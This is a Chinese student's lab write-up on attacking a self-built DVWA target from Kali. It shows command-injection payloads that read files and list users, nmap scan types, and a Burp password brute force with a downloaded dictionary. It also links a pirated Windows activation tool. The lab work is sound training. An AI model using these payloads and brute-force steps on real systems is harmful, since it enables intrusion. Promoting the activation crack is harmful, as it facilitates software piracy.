分类 默认分类 下的文章

网络攻防实训报告

当前进度1.0 by.dayi

更新地址:https://type.dayiyi.top/index.php/archives/96/

任务一:kali作为攻击方,安装一个win7,安装一个dvwa作为靶机

安装虚拟机 win7

pic

  • pic
  • 秘钥不用填

    pic

  • 等待简易安装完成:

    image-20221203114139404

    image-20221203114623067

安装vmware tools(可选,但是推荐)

vmware tools 可以实现直接从虚拟机和实体机拖文件,提升帧数,自适应分辨率,但是此步骤目前看,坑稍微多一点。

懒猴子版本

dayi意识到下面的有点麻烦,所以直接弄了个懒猴子版本。

  • 下载这个文件:(服务器带宽有限制,如果你下载成功了,欢迎通过qq分享文件给你的好朋友)

  • 关闭虚拟机
  • 打开虚拟机设置

    • 删除软盘(可选)

      pic

    • 替换DVD文件到刚刚下的文件

      pic

  • 开机
  • 打开此电脑(win+E),如果显示找不到什么东西,就右键这个打开就好啦

    image-20221203130540541

    点这个打开就可以。

    image-20221203131650814

  • 依次打开这两个文件

    过程中可能会重启多次。

    先点1,再点2就可以啦,把两个文件都安装好就可以。

    image-20221203131736259

  • 更新:火狐浏览器也可以装一下
  • 再次重启就OK啦
  • 成功安装

    image-20221203131825421

我是勤快的小兔子
如果你上面做完了,这里的1-11就不用了
  1. 先把虚拟机关机
  2. 编辑虚拟机设置 -> 删除软盘,然后修改到光驱选项为自动检测

    image-20221203114806438

    image-20221203114825064

    1. 修改光驱为自动检测

      image-20221203114849315

    2. 保存,然后开机,如显示什么没有连接,什么的直接选是就行。

      image-20221203114944032

    3. 保存,然后开机
    4. 右键是这里,然后选安装vmware tools

      image-20221203115056021

    5. 打开计算机(下面的那个文件管理器)

      image-20221203115156951

    6. 双击或者选择这个文件,根据电脑性能不一样打开的速度不一样,稍微等一下就可以。

      image-20221203115234634

    7. 安装上这个软件,一直点下一步就可以。

      如果有问题就重新开下这个安装程序就可以啦。

      pic

      1. oh我的上帝,win7太老了,你的软件太新了,如果出现这种情况怎么办。(当然是直接放弃啦)

      image-20221203120428953

      1. 如果你遇到了10的问题

        • 下载一个浏览器吧,IE太老了,现在支持太差了

          • 用IE打开 ie.sogou.com

            image-20221203122639721

          • 欢迎网上冲浪
        • 如果你的win7不能联网

          • 最简单的,你重新装一下vmware workstations,杀毒软件不要再做优化,安装过程都允许。

          • 进入服务(win+r 输入services.msc),把vmware的所有服务都开启。

            • 这里有同学发现vmware的服务被删除了,那样就重装vmware吧(不要用2345了吧)
            • 然后 在vmware里面:编辑->更改设置(可选)->还原默认设置

              image-20221203123255637

        • win7打开这个网站:https://www.catalog.update.microsoft.com/search.aspx?q=kb4474419

          • 输入网站太麻烦?

          • 什么证书不认点确定就行。

            下载这个:image-20221203123454671

          • 然后安装这个就行

            1

          • 重启一下即可,然后重新安装vmware tools

激活win7(不必要过程)

此过程用于学习和交流,不得用于任何商业用途,有米可以支持正版。

小马OEM_https://p.dabbit.net/blog/pic_bed/OEM-8a29f1e7-a056-485c-9c6d-32528d48ae0d-154177649.zip

  • 如果你已经安装了vmware tools 直接这样就可以。否则可以参考上面的步骤先安装浏览器,也可以尝试IE直接打开,然后下载这个文件。
  • 拖~

    image-20221203132050574

  • 启动文件之后开始体验正版PWP

    image-20221203132147798

  • 右键桌面个性化->左边的桌面图标设置,可以把计算机调出来

    image-20221203132412689

  • 桌面右键计算机->属性,可以看到嘿嘿嘿啦

    pic

安装PhPStudy

  • 群文件版本,这是老师给的老版本(写完我才发现他给了个2016):

    这个版本默认似乎不会开机自动启动,如果重启之后找不到,到这里来:C:\phpStudy (安装目录)启动即可
    • 先安装微软常见运行库

      • 在群文件里,叫微软运行库合集

        下一步,然后等一下,有可能会重启一下。

        image-20221203140758449

    • 打开这个文件:

    pic

    • 修改D到C

      pic

    • 有个弹窗选是就可以
    • 启动完之后如图,你记得把你的两个调成绿的(点击:启动)

      image-20221203141003187

  • 【其他版本】下载phpstudy 版本

    • 链接:https://www.xp.cn/download.html 下载选择64位就可以

      image-20221203132614253

    • 然后把下好的文件拖到虚拟机里,没法拖可以试试复制粘贴。如果你没装vmware tools,就用win7浏览器打开即可,如果有问题请参考懒猴子版本。
    • 下完之后拖到虚拟机里。打开安装包(安装包在压缩包里)
    • 点击自定义,把D改成C

      image-20221203133805450

      pic

    • 立即安装
    • 安装好之后直接点这个。防火墙弹窗都要允许访问哦,忘了的话之后有问题就直接把防火墙关掉。

      image-20221203134408576

    • 这样就行了

      pic

    • 点击网站

      image-20221203135331443

image-20221203135354859

火狐浏览器的安装

你也可以直接通过IE浏览器打开 ie.sogou.com 下载搜狗浏览器

如果你已经安装好phpstudy,那么打开后大概这样子:

输入网址:http://127.0.0.1/ 或者 http://localhost/

如果你装的是8版本,那么打开内容可能不一样,但是不应该出现无法打开网页。

image-20221203142029831

安装DVMA

安装(复制粘贴)

写到这,我发现他好像给了个phpstudy2016,那样的话,用两个版本都可以啦。

如果你用的是2016版本,在这里打开根目录。

开始安装

火狐浏览器或者IE或者搜狗浏览器打开:

如果你服务器是nginx 则需要注意区分目录大小写
http://localhost/dvwa/
http://127.0.0.1/dvwa
这两个基本上是等价的

pic

修改参数

有很多需要更改的地方

  • 打开url_include

    image-20221203143219692

    自动重启或者手动重启之后,刷新一下网页,发现:PHP function allow_url_include: Enabled变成绿色的了

创建数据库

  • 创建数据库

    数据库默认密码 用户名:root 密码:root
    • 创建数据库dvwa,注意区分大小写
    • Mysql->快速创建

      image-20221203143950581

      image-20221203144148705

    • 确认数据库已经创建成功

      火狐浏览器打开网页http://localhost/phpMyAdmin/

      用户名:root

      密码:root

      点击执行:

      image-20221203144447689

      左边有了dvwa就可以啦

      image-20221203144534621

  • (可选)修改数据库root密码

image-20221203143452113

​ 原密码应该是root(我也是第一次用phpstudy),我就改成root了。更新:刚查的,是root。

​ 原密码填写root

image-20221203143525771

修改DVMA数据库信息

打开目录,如果你的不是在这里,你稍微对应一下就可以。

C:\phpStudy\WWW\dvwa\config

image-20221203144930050

打开config.inc文件

image-20221203145031115

将这数据库用户密码修改为你自己的

这里我没有修改默认数据库密码的,就是rootroot

pic

然后保存就可以啦

再刷新一下这个网页

http://localhost/dvwa/setup.php

pic

都是OK的,这样就可以开始安装了。

这里有同学问了,那个reCAPTCHA 也是红的,你咋不去修一下。

这个reCAPTCHA是google的验证码,就是给你9个图让你找防火栓的那个东西。由于国内连接google不稳定,以及申请reCAPTCHA APPKEY 超级麻烦,这里就不做了。

那样会带来什么缺失:登录的时候没有验证码。

image-20221203145615937

提示都是successful,然后会自动跳转。

image-20221203145734999

登录名:admin,密码 :password

pci

你看这里,显示logged as admin就可以啦!

pic

安装kali

这里可以一步一步的装,也可以用官方的vmware 虚拟机文件,打开即用。

使用官方的虚拟机包

我也觉得这是懒人包

解压 这个文件 ,这个文件之前传到群文件啦

kali-linux-2021.3-vmware-amd64.7z

解压之后打开里面的vmx

开机就好啦,用户名kali,密码kali

手动安装kali (推荐动手试一试哦)

这里是重新安装一次kali,用官方的vmware的版本的话,这一步可以直接忽略掉。

不过新版的kali好好看

真的好好看!!是不是超好看

image-20221203203751290

下载镜像
开始安装
  • 新建一个虚拟机,DVD镜像就选上面这个链接下载的文件就好啦。系统的换选Linux 5.11内核或者Debian 10 Debian11

    image-20221203162449460

  • 启动
  • 我选了图形界面安装,也就是第一个选项
  • 语言的话,兼容性好一点其实选择英文比较好

    image-20221203162553699

  • 安装界面倒是挺好看
  • 用户名设置一个就好啦,我这里设置了kali密码kali,域名不用填写
  • 一直下一步就可以啦

    1

  • 稍等片刻。
  • 然后工具选择默认的就可以啦

    image-20221203163523766

  • kali安装起来还是挺慢的,看你的电脑的性能啦
  • 设置引导分区:选sda就可以image-20221203164330654
安装完成后的微调
  • 再次安装vmware tools(意义不大|可选)

    • 这里其实不用啦,如果你安装正确的话,并且没有修改过多的虚拟机参数,会自动安装open-vm-tools,这样就可以复制文件啦。也可以自己安装一下。
    • 等待kali开机之后,登录上之后,随便复制个文件试一试,发现是没有问题滴!

      image-20221203165931985

    • 呃..如果你还是想装一次的话

      DVD连接之后,切换这个镜像文件,如果你的vmware安装的时候切换了目录的话,可以换一下

      C:\Program Files (x86)\VMware\VMware Workstation\linux.iso

      命令如下

      sudo su #切换到root
      cd /media/cdrom #进入光盘目录
      cp VMwareTools-10.3.23-16594550.tar.gz /tmp #复制到内存盘 注意,此处的文件名可能不一样
      cd /tmp 
      tar -xzvf VMwareTools-10.3.23-16594550.tar.gz #注意,此处的文件名可能不一样
      cd vmware-tools-distrib
      perl vmware-install.pl
      
      #然后一路回车就可以啦

      最后大概这个样子

      image-20221203173941124

添加中科大镜像源

打开终端

如何粘贴?

ctrl+shift+v

sudo su
sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak

#下面两行一起复制
sudo echo 'deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib' > /etc/apt/sources.list

cat /etc/apt/sources.list
#↑如果有 deb https://mirrors ... 和 deb-src https:// ... 就可以啦

sudo apt-get update #更新包信息,如果没报错就对啦,或者说多输入几遍
sudo apt-get upgrade -y

image-20221204031254556

在kali上玩一下DVWA(可选)

序幕

先看一下windows 7 的ip地址

如何打开cmd -> 开始键+R 输入cmd ,然后按回车
  • 在cmd里面输入

    ipconfig /all

    image-20221203172652065

  • 也可以右键网络图标->打开网络和共享中心->打开本地连接

    image-20221203172507577

    点击详细信息,然后记录下IPV4的地址

    image-20221203172604969

    我这里的IP是192.168.226.128

    我们就开始吧

上号

卡里的左上角有一个火狐浏览器,我们打开它。

  • 尝试一下是否可以打开这个网页。
  • 在kali的浏览器里输入:http://192.168.226.128/

    如果打不开,尝试关闭windows的防火墙,以及开放域名到0.0.0.0

    image-20221203174347213

    发现没有问题滴

  • 登录到这里:

    http://192.168.226.128/dvwa/

    还记得用户名吗?

    用户名:admin
    密码:password

    image-20221203174648996

登录成功!

image-20221203174816314

调整难度

默认的难度是CVE难度,有点值钱,所以我们切换到最高难度Low

在左边选DVWA Security

然后难度选择Low就可以啦,记得点提交(Submit)

image-20221203175030237

指令注入小游戏

藏兔子
  • 在windows7的C盘藏一个小兔子

    image-20221203175422745

    image-20221203175449231

  • 我们的目标就是,在kali上,通过网页存在的漏洞来访问这个文件。
什么是ping

在windows的cmd里面,我们可以通过指令ping来探测网络的状况,如果主机收到了ping请求(ICMP)则会告诉你,它收到了。

比如:ping rabbit.dayiyi.top这样可以测试rabbit.dayiyi.top服务器是否能通,以及来回的延时是多少

image-20221203180135982

这样,我们就可以来获得一些基本的网络信息

windows cmd下的&

在cmd中 & | 这类可以连接两个命令,两个命令都会得到执行。

如图:通过运行:ping rabbit.dayiyi.top & ping dayi.ink

可以发现,两个命令都已经执行了

image-20221203180458114

windows 下的type

如果文件是文本文件,可以通过type 文件名来显示文件的内容

image-20221203180734965

于是,这样子可以在cmd中获得文件内容。

如果我们把文件通过一定的方式进行编码,比如base64等,这样做之后,不论什么文件,我们理论上都可以通过type命令获得全部的内容。

回到kali
  • 选择左边的Command Injection指令注入
  • 观察一下,网站提供给了大家一个ping命令,可以用来帮你用他的网络,来检测网络。
  • 我们尝试一下输入rabbit.dayiyi.top

    image-20221203180944780

    虽然中文乱码了,但是我们还是可以辨认出煮这是什么,以及发现了:

    • 这个功能可能是直接通过windows 的cmd的调用来实现的
  • 如果我们将上面的两个理论加以利用

    • 也就是

      127.0.0.1 | type C:\rabbit.txt
      或者
      rabbit.dayiyi.top | type C:\rabbit.txt
  • 这样子,会发生什么?

    1

你好像发现了什么神奇的东西,对吧?

这好像是我们之前藏在服务器上的文件。

如果这个可以看到,其他的同样可以看到。

其他的利用的简单举例
  • 显示系统用户

    127.0.0.1 | net users

    image-20221203181842402

  • 查看当前用户

      127.0.0.1 | whoami

    image-20221203181858560

  • 查看桌面文件

      127.0.0.1 | dir C:\Users\dayi\Desktop

    image-20221203181935511

    这个东西就是所谓的——远程代码执行。

    执行的是管理员用户,可以直接提权到SYSTEM用户,如果提权到SYSTEM用户,整台电脑的访问权限就完全完全拿下了。

任务二:通过nmap对于靶机进行扫描分析靶机相关信息

NMAP概述

原文链接:https://nmap.org/man/zh/index.html

Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的 网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个 主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。

Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项。 “所感兴趣的端口表格”是其中的关键。那张表列出端口号,协议,服务名称和状态。状态可能是 open(开放的),filtered(被过滤的), closed(关闭的),或者unfiltered(未被过滤的)。 Open(开放的)意味着目标机器上的应用程序正在该端口监听连接/报文。 filtered(被过滤的) 意味着防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap无法得知 它是 open(开放的) 还是 closed(关闭的)。 closed(关闭的) 端口没有应用程序在它上面监听,但是他们随时可能开放。 当端口对Nmap的探测做出响应,但是Nmap无法确定它们是关闭还是开放时,这些端口就被认为是 unfiltered(未被过滤的) 如果Nmap报告状态组合 open|filteredclosed|filtered时,那说明Nmap无法确定该端口处于两个状态中的哪一个状态。 当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行IP协议扫描时 (-sO),Nmap提供关于所支持的IP协议而不是正在监听的端口的信息。

除了所感兴趣的端口表,Nmap还能提供关于目标机的进一步信息,包括反向域名,操作系统猜测,设备类型,和MAC地址。

目标机IP位置:192.168.226.128

也可以直接扫描整个网段:192.168.226.0/24

通过命令sudo su切换到root用户,其他的不进行修改

wireshark 的抓包过程中:

  • 有些过程中屏蔽了以下IP:

    • 192.168.226.2 NAT的虚拟网关、虚拟DNS
    • 192.168.226.1 宿主机IP

简单扫描靶机

当防火墙开启的时:

通过nmap的扫描:

nmap 192.168.226.128

可以发现靶机的两个端口处于开放状态

  • 80 http
  • 3306 mysql

image-20221203190044677

如果关闭防火墙:

image-20221203214312142

再次扫描:

可以发现一些windows常见的接口也可以扫描出来

image-20221203214423994

如果进行抓包(在后面的-sS参数 章节。可以发现,一种是被忽略,一种是服务器返回了RST包)

参数:-sn通过ping扫描整个网段

kali运行

sudo su
nmap -sn 192.168.226.0/24

pic

如果用wireshark的抓包,可以发现,ping扫描其实是发送的ARP包,对所有的IP进行广播。

image-20221203200554199

而如果进行跨网段ping的时候:

除去DNS的查询,还有几个包

  • ICMP ping包(ECHO)
  • TCP SYN 端口443
  • TCP ACK 端口80
  • ICMP timestamp

image-20221203204256342

参数 --packet-trace

可以显示packet的追踪的发送与答复以及过程,与wireshark抓包抓到的结果一样

nmap -sn a.dayiyi.top --packet-trace

image-20221203205224337

image-20221203205452987

参数: --traceroute 路由追踪显示所有路由

nmap --traceroute 39.105.181.66

image-20221203185646946

参数:-p 指定端口

nmap 192.168.226.128 -p 1-1024,3306 #--packet-trace

1

参数:-sS TCP SYN扫描 也被称为半连接扫描

nmap 192.168.226.128 -p 1-1024,3306 -sS #--packet-trace

image-20221203210906657

分析

通过wireshark抓包可以得到

nmap 192.168.226.128 -p 80 -sS --packet-trace

ARP广播之后,

  • 发送 SYN包
  • 服务器返回SYN+ACK
  • 发送RST 重置连接

image-20221203211333702

如果对于无法访问/不能确定/关闭的端口:

nmap 192.168.226.128 -p 81 -sS --packet-trace

image-20221203211445152

发送两个SYN包,没有得到回应

image-20221203211417893

将windows7的防火墙关闭:

如何关闭windows 防火墙?

控制面板\系统和安全\Windows 防火墙 ->打开或关闭防火墙

将两个全部关闭即可

重新扫描81端口

image-20221203211634691

观察可以发现,判定为close的端口

  • 发送SYN包
  • 服务器返回 RST ACK
  • 判定端口已经关闭

image-20221203211721601

后期补充:

查阅文档(https://nmap.org/man/zh/man-port-scanning-techniques.html):

-sS (TCP SYN扫描)

SYN扫描作为默认的也是最受欢迎的扫描选项,是有充分理由的。 它执行得很快,在一个没有入侵防火墙的快速网络上,每秒钟可以扫描数千个 端口。 SYN扫描相对来说不张扬,不易被注意到,因为它从来不完成TCP连接。 它也不像Fin/Null/Xmas,Maimon和Idle扫描依赖于特定平台,而可以应对任何兼容的 TCP协议栈。 它还可以明确可靠地区分open(开放的), closed(关闭的),和filtered(被过滤的) 状态

它常常被称为半开放扫描, 因为它不打开一个完全的TCP连接。它发送一个SYN报文, 就像您真的要打开一个连接,然后等待响应。 SYN/ACK表示端口在监听 (开放),而 RST (复位)表示没有监听者。如果数次重发后仍没响应, 该端口就被标记为被过滤。如果收到ICMP不可到达错误 (类型3,代码1,2,3,9,10,或者13),该端口也被标记为被过滤。

跟实际的情况一样,并且更好理解啦

参数:-sU UDP扫描

nmap -p U:53 223.5.5.5 -sU

image-20221203212243206

抓包分析:

实际过程比想象的复杂的多。

nmap先通过SYN半连接扫描,然后再发送UDP包(被wireshark识别为DNS包)

image-20221203213228917

尝试扫描54,避免识别为DNS包

image-20221203213341404

得到的结果大致发送了一个空包。

查阅官方文档:

原文链接:https://nmap.org/man/zh/man-port-scanning-techniques.html

UDP扫描发送空的(没有数据)UDP报头到每个目标端口。 如果返回ICMP端口不可到达错误(类型3,代码3), 该端口是closed(关闭的)。 其它ICMP不可到达错误(类型3, 代码1,2,9,10,或者13)表明该端口是filtered(被过滤的)。 偶尔地,某服务会响应一个UDP报文,证明该端口是open(开放的)。 如果几次重试后还没有响应,该端口就被认为是 open|filtered(开放|被过滤的)。 这意味着该端口可能是开放的,也可能包过滤器正在封锁通信。 可以用版本扫描(-sV)帮助区分真正的开放端口和被过滤的端口。

参数:-sT TCP connect扫描

也算是一种全连接扫描。

在没有权限发送原始报文或者在IPV6下的常见的方法

简单扫描:

nmap -sT 192.168.226.128

我感觉比我想象的扫描要快,不知道为什么

image-20221203215005991

对80端口扫描:

image-20221203215059881

wireshark抓包,是一个全连接。

image-20221203215130938

对81端口(关闭端口,防火墙开启)

nmap -sT 192.168.226.128 -p 81

image-20221203215247076

防火墙没有回复

也许是虚拟机NAT虚拟网卡的关系导致的扫描速度感觉和理论有些差距?只是一个猜测啦

参数:-sA ACK扫描

这种扫描与目前为止讨论的其它扫描的不同之处在于 它不能确定open(开放的)或者 open|filtered(开放或者过滤的))端口。 它用于发现防火墙规则,确定它们是有状态的还是无状态的,哪些端口是被过滤的。

发送ACK,看看服务器有没有反馈,进而判断端口有没有被防火墙屏蔽。

  • 如果被屏蔽了ACK包可能会被忽略
  • 如果没有屏蔽ACK包会返回TCP RST
  • 即便是端口开放,也是会忽略包滴

实际测试

nmap -sA 192.168.226.128 -p 81

image-20221203220422890

把防火墙关闭:

nmap -sA 192.168.226.128 -p 81

image-20221203220720717

就会有RST返回啦

参数:-sF -sN -sX

依旧是一种判断防火墙的方法

如果扫描系统遵循该RFC,当端口关闭时,任何不包含SYN,RST,或者ACK位的报文会导致 一个RST返回,而当端口开放时,应该没有任何响应。除了探测报文的标志位不同,这三种扫描在行为上完全一致。

谁遵守规定谁吃亏系列

  • -sN 不设置任何标志位 TCP flag 0
  • -sF 只设置TCP FIN
  • -sX 设置FIN PSH URG

    就像点亮圣诞树上所有的灯一样。

对于windows返回的是TCP RST+ACK

直接找个linux服务器扫:

nmap -sN a.dayiyi.top -p 443
nmap -sF a.dayiyi.top -p 443
nmap -sX a.dayiyi.top -p 443

主要的包是在15 、16号包

image-20221203222018388

image-20221203222120022

image-20221203222214705

发现可能因为有防火墙的缘故,所以都没有有返回的信息

最终获得的信息大概率也是前面的半连接获得的

对于windows,这个不是特别准确,即便是80已经开放,扫描出的结果是close

nmap -sX 192.168.226.128 -p 80

image-20221203222628995

NMAP 应用程序信息扫描

  • 更新nmap

    sudo su
    apt-get update
    apt --only-upgrade install nmap -y

    如果有信息,选YES就可以

    image-20221203223341615

  • 简单扫描(参数-sV)

    nmap -sV 192.168.226.128

    扫描结果还是比较准确滴

    image-20221203223545223

  • 其他的参数

    • --allports所有端口
    • --version-intensity <intensity> 版本强度
    • --version-light 相当于 --version-intensity 2更快
    • --version-all 相当于 --version-intensity 9
    • --version-trace 显示调试信息 相当于--packet-trace
  • 来个阴间参数

    nmap -sV --version-intensity 5 192.168.226.128 --version-trace

    image-20221203224543520

NMAP 操作系统信息扫描

参数
  • -O (启用操作系统检测
  • -A 同时启用操作系统检测和版本检测
  • --osscan-limit已经发现过TCP端口,直接用就好啦,省时间
  • --osscan-guess 默认启用,猜测
开扫
nmap -O 192.168.226.128

image-20221203224928526

扫描个linux机器,此机器dayi授权了,随便扫。

nmap -O a.dayiyi.top

还是听准确滴

image-20221203225340048

再扫一个

nmap -O co4.dayi.ink

这个机子是debian 11,还是有偏差的

image-20221203225824896

杂项

TTL

数据包存活时间(Time To Live)

每跳跃(hop)一个节点、路由,就会减一。

直到减少到0,如果减少到0,路由器便会取消该封包转发,并且可能会向原封包的发出者传送一个ICMP TTL封包以告知跃点数超限。

各类操作系统 32 64 128 均有

DF

IP协议中:Don't Fragment 是IP协议的首部的标志位位置

  • DF = 0 则允许分片
  • DF = 1 不允许分片

MF(More Fragment)

  • MF = 1 表示还有分片
  • MF = 0 这已经是最后一个

通过wireshark的抓包信息:

具体信息如下:

image-20221204015036607

Windows Size

窗口大小,是TCP堵塞控制的一种方法,在出现堵塞的情况时,TCP会尝试调整窗口大小。

同时,窗口大小也算是TCP的一个缓冲区,当缓冲区满了的时候,会发送ACK

image-20221204020126566

ACK

Acknowledgment number

ack序号的生效需要有FLAGS内:ACK=1

这个数字式通信中希望从另外一个设备得到的下一个数据包的序号。

image-20221204020341542

大部分系统会把ACK的序号,设置为回应包的数字

image-20221204022732488

FIN

TCP

  • ack(确认号)
  • seq (序号)

当flags

  • ACK=1 ack有效
  • SYN=1 请求连接
  • FIN=1 释放连接

TCP释放链接的时候

  • 客户端发送 FIN ACK seq=80=t | ack=u | 客户端放开进程,请求释放链接
  • 服务端发送 ACK seq=u | ack=80+1=81=v |服务器同意释放,半关闭状态
  • 服务端发送 FIN ACK seq=u | ack=80+1=81 =v |没有更多数据需要发送了,服务器应用进程通知TCP释放
  • 客户端发送 ACK seq=81=v ack=u+1|客户端收到释放请求,同意释放

image-20221204021414849

任务三:使用burp对于访问dvwa的数据进行抓包改包

这个任务其实主要是玩Burpsuite

更新软件包(可选)

burp suite 也会一起更新
  1. 不管三七二十一,先更新下软件包吧(挺慢的)可以喝茶去,我甚至觉得有点恐怖。

    sudo apt-get upgrade -y

    如果更新要是太慢了就CTRL+C,然后再输入一次,或者直接放弃(

    image-20221204024901357

    如果提示选择,就选YES就可。

    image-20221204030205034

    我电信网大概更新了20分钟左右(全程大概10MB/s以上)

    • 太慢?

      尝试更换镜像源到中科大。

      zsh终端如何粘贴?ctrl+shift+v
      sudo su
      sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak
      
      #下面两行一起复制
      sudo echo 'deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
      deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib' > /etc/apt/sources.list
      
      cat /etc/apt/sources.list
      #↑如果有 deb https://mirrors ... 和 deb-src https:// ... 就可以啦
      
      sudo apt-get update #更新包信息,如果没报错就对啦,或者说多输入几遍
      sudo apt-get upgrade -y

      文件内容如下:

      image-20221204031254556

登录到dvwa

  1. 登录

    http://192.168.226.128/dvwa/index.php

    image-20221204103951271

修改难度

  1. 选择难度,这次选择为中等
    image-20221204104015727

    然后点击提交

开始抓包,爆破

  1. 进入爆破登录:

    Brute Force

    1212

  2. 打开burp suite

    pic

  3. 建立临时项目,打开的时候如果有对话框点YES即可

    image-20221204104256235

  4. 使用默认设置即可

    image-20221204104346414

  5. 为了让我们的流量能被burp suite捕获,打开burp的代理设置

    记下这个代理服务器的地址:这里是127.0.0.1:8080

    image-20221204104454568

  6. 打开截断功能

    image-20221204110758823

  7. 修改火狐浏览器的设置,让火狐浏览器走代理

    划到最下面

    image-20221204104602818

    image-20221204104636421

    填写代理信息:

    image-20221204104744978

    点击保存(OK)

  8. 回到burpsuite,切换到到intruderimage-20221204105315971
  9. 我们提交一个表单,让burpsuite捕获

    记得刷新
    http://192.168.226.128/dvwa/vulnerabilities/brute/
    • 尝试打开之后,会卡住。
    • 打开burpsuite,发现包捕获成功

      image-20221204110957592

      但这个包不是需要修改的,所以就直接forward即可。

    • 模拟登录

      点击登录

      image-20221204111215877

    • 依旧网页没有响应,这时候burp suite会弹出来 ,如果没弹出来就点一下下

      内容大概如下:

      image-20221204111720032

    • 我们右键,然后send到intruder

      image-20221204111816298

      分析表单:

      如图:

      image-20221204112100588

  10. 我们发现需要修改的地方有两个,一个是用户名,一个是密码,其他的地方不需要进行爆破
  11. 神奇的dayi告诉你,有个用户名叫做:

    • 用户名:gordonb
    • 密码:?

    于是我们尝试对这个用户进行爆破

  12. 修改爆破表单,有些内容我们每个表单都一样,就删掉这个符号即可

    image-20221204112704627

  13. 添加字典

    这里用了常见密码的前1w

    字典下载:

    https://www.somd5.com/download/dict/top1w.zip

    备用下载地址:

    https://p.dabbit.net/blog/pic_bed/top1w_4d8229a2-7384-11ed-a1eb-0242ac120002.zip

    字典下好之后放到虚拟机里

    image-20221204113417558

    image-20221204113437990

  14. 放进去

    如下
    image-20221204113502537

    image-20221204113617498

  15. 开始爆破!

    实际上因为是社区版,爆破速度超级慢

    如果想提高速度可以使用氪金版,学习版(仅供学习),或者python代码

    image-20221204113656149

  16. 我们按服务器返回值进行排序

    image-20221204113839841

    发现这个包与众不同

    image-20221204113901789

    诶!

    这可能就是我们要找的东西啦!

    image-20221204113959938

  17. 查看提交的表单,密码是abc123

    我们赶紧试试,能不能登上去

试试能不能上号

  1. 关闭火狐的代理

    设置->通用->最下面:

    image-20221204114147215

  2. 用户名是:gordonb 密码是:abc123

    可以登录成功啦!

    image-20221204114255833

  3. 可以开个无痕

    image-20221204114752716

    没问题啦

    image-20221204114806909

公钥私钥体系

RSA

1.形式

有公钥和私钥

1.单项计算容易,但逆向很难

模运算是单项函数

计算 `

$$ 3^3 mod 7 =6 $$

很容易

但是知道

$$ 3^xmod7=6 $$

计算x很难

2.加密

对于一个数

$$ m^e mod N =c $$

其中e为秘钥,c为密文

3.解密

$$ c^d mod N = m $$

其中d是解密的秘钥

4.变换

将两个公式合并,可以得到

$$ m^{ed} \; mod \; N =m $$

那么可以得到

$$ m^{ed}\; \equiv \; m $$

引入

欧拉函数:

$$ φ(p)=p-1 $$

其中p为质数

如果(p,q)=1,有这个性质

$$ φ(p*q)=φ(p)*φ(q) $$

不知道为啥

这里解释一下为什么可以这么推

首先有欧拉定理:

$$ m^φ(n)\equiv 1 (mod \; n) $$

可以在等式的两端同时取k次幂

$$ (m^{φ(n)})^k\equiv 1^k (mod \; n) $$

然后等式两端同时乘以m

$$ m^{kφ(n)+1} \equiv m \; (mod \; n) $$

然后模运算变形

$$ m^{kφ(n)+1} \; mod \; n = m $$

这个式子和这个类似

$$ m^{ed} \; mod \; n =m $$

可以得到

$$ ed=kφ(n)+1 $$

然后可以选取k,n,e来获得d

然后

我们可以知道

$$ d = \frac{kφ(n)+1}{e} $$

此时,如果e=3

取一个p=17,q=23,其中(17,23)=1

那么可以得到

$$ φ(17*23)=φ(391)=352 $$

e=3,k=5

$$ d=\frac{kφ(n)+1}{e}=\frac{5*352+ 1}{3}=587 $$

这样

e:公钥

d:私钥

都有啦

然后把 e:公钥n:公布

例子

当前

公钥e=3,私钥d=587,n=391

要加密的数据为97

$$ 97^3 \; mod \; 391 = 79 $$

97为加密后的密文

解密:

$$ 79^{587} \; mod = 97 $$

还原

用了587这个秘钥

嗯,暂时就这样啦

补充

e需要满足:

$$ 1<e<φ(n) $$

$$ (e,φ(n))=1 $$

还有这个性质

$$ m^{kφ(n)} \; mod \;n =1 $$

其中n为前面欧拉函数的计算结果

RSA 密钥身份验证

CA

CA中心为每个使用公开密钥的用户发放一个数字证书,数字证书的作用是证明证书中列出的用户合法拥有证书中列出的公开密钥。CA机构的数字签名使得攻击者不能伪造和篡改证书。它负责产生、分配并管理所有参与网上交易的个体所需的数字证书,因此是安全电子交易的核心环节。在SET交易中,CA不仅对持卡人、商户发放证书,还要对获款的银行、网关发放证书。
  • 证书的内容包括:电子签证机关的信息、公钥用户信息、公钥、权威机构的签字和有效期等等。目前,证书的格式和验证方法普遍遵循X.509国际标准。
  • 加密:CA认证将文字转换成不能直接阅读的形式(即密文)的过程称为加密。
  • 解密:将密文转换成能够直接阅读的文字(即明文)的过程称为解密。

实际上最比较常见的是https的证书。

用openssl向CA发送CSR,CA同意之后,回送证书。

pic

pic

社会学攻击

利用人的弱点来进行攻击。

从广义上讲,社会工程学是操纵人们放弃敏感信息的做法。社交工程学攻击可能当面发生,例如盗匪装扮成送货员闯入建筑物。本文将重点关注社会工程学网络攻击。在大多数情况下,此类攻击旨在使受害者泄露登录凭据或敏感的财务信息。
  • 发送虚假的电子邮件
  • 诱骗用户登录网站
  • 联系用户,声称自己是百万首付等等

任务四:使用MSF对靶机进行漏洞利用并获得靶机信息进行密码破解

装一个新的WIN7

为什么要这么做?

因为我们是利用的漏洞,但是漏洞是会被修复的。还记得我们打的部分补丁吗?实际上你装其他软件的时候也可能会自动修复漏洞。

我们之前对上一个WIN7,做了很多修改,因此,为了更稳定的利用漏洞,我们直接装一个2011年的win7。

这样可以确保我们的漏洞尽可能的可能执行。

快速安装即可

  • 新建虚拟机->自定义高级->16.x及以下版本->
  • 光盘选择:cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso->
